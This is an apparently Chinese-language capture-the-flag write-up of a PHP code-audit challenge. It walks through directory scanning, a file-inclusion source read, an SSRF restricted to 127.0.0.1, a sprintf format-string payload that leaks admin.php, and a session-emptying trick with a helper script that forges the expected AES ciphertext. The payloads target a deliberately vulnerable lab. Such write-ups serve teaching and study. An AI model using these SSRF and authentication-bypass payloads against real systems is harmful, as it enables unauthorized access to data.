代码审计题,
刚开始我用kali的dirb扫描到
admin.php 和 robots.txt两个目录
进入到admin.php
以为是改http头,不可取
回过头来看源代码
这里已经提示,抓包在响应头看到hint,有个home.php,访问进去看看
观察他的url
存在文件包含,读取到system 的源码
重要代码如下:
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
第一个q1不用管,没有任何过滤
看到q2 的过滤,基本上可以看出这是个SSRF了,但是后面会被加上y1ng.txt的后缀
再看到q3,
必须得有 GET 或者 POST 开头
@file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect))
因为%d整形输出,我们要以字符型输出(%s)才能看到admin,php的代码,利用sprintf()漏洞
%% 将%吞掉,d就没用了
前面再加个%s,就可以通过file_get_contents函数输出admin.php的代码了
payload:
q1=fuckyou&q2=http://127.0.0.1/admin.php?q=1&q3=GET%s%
得到admin.php 的源码
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
%d
可以发现%d被当成字符窜输出了
先看到主体代码
可以知道session的值是个随机数。
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){ //调用check函数
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length)); //生成随机字符窜
}
看到加密函数
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
告诉我们加密方式了
其他参数都知道,由于session值可以更改,所以我们让session值为空,就能够自己算出密文绕过他的审查
再看到admin.php的页面
必须要这个ip
由此构造密文脚本
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75', true); // your global ip address here
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn('NULL', 'y1ng');
echo urlencode($cipher);
//一定要url编码,不然不成功
?>
将PHPSESSID删去(也就是置空)再将decrypt=“脚本输出的密文”传入即可
感觉代码审计最能体现ctfer的能力